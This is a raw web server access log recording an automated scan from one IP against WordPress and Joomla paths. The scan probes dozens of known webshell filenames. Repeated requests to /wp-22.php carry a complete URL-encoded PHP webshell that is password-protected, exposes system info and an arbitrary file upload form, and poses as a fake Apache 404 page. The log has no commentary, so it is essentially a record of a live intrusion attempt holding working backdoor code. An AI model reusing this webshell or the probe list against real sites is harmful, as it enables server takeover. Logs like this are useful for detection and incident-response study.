"www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:08 +0530] "GET /wp-content/themes/config.bak.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:10 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:10 +0530] "GET /mailer1.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:11 +0530] "GET /wp-admin/network/wolf-shell.php HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:11 +0530] "GET /administrator/templates/hathor/index.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:11 +0530] "GET /lab.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:11 +0530] "GET /wp-content/themes/twentytwentythree/content-index.php HTTP/1.1" 302 273 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:12 +0530] "GET /100.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /s_ne.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /leaf_php.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /sindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp-content/wso.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /small.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp.php?Chitoge HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /libraries/joomla/css.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /error.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /7index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /.tmb/cache/shz.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /olux.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /xl.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /images/sym.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:13 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:14 +0530] "GET /shx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:14 +0530] "GET /license.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:14 +0530] "GET /new.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:15 +0530] "GET /wp-content/upgrade/lfgpoem.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:17 +0530] "GET /wso.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:17 +0530] "GET /wp-admin/network/wolf-shell.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:18 +0530] "GET /j.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:19 +0530] "GET /cms.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:20 +0530] "GET /blog/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /libraries/joomla/css.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-ad.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /media-admin.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /uploads/l.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-content/themes/twentytwentythree/content-index.php HTTP/1.1" 302 273 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /templates/protostar/error.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-content/uploads/2021/12/up.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-includes/images/wlw/local1.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:22 +0530] "GET /wp-content/plugins/fighter/fk.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:23 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:23 +0530] "GET /wp-content/themes/config.bak.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:23 +0530] "GET /mailer1.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:26 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D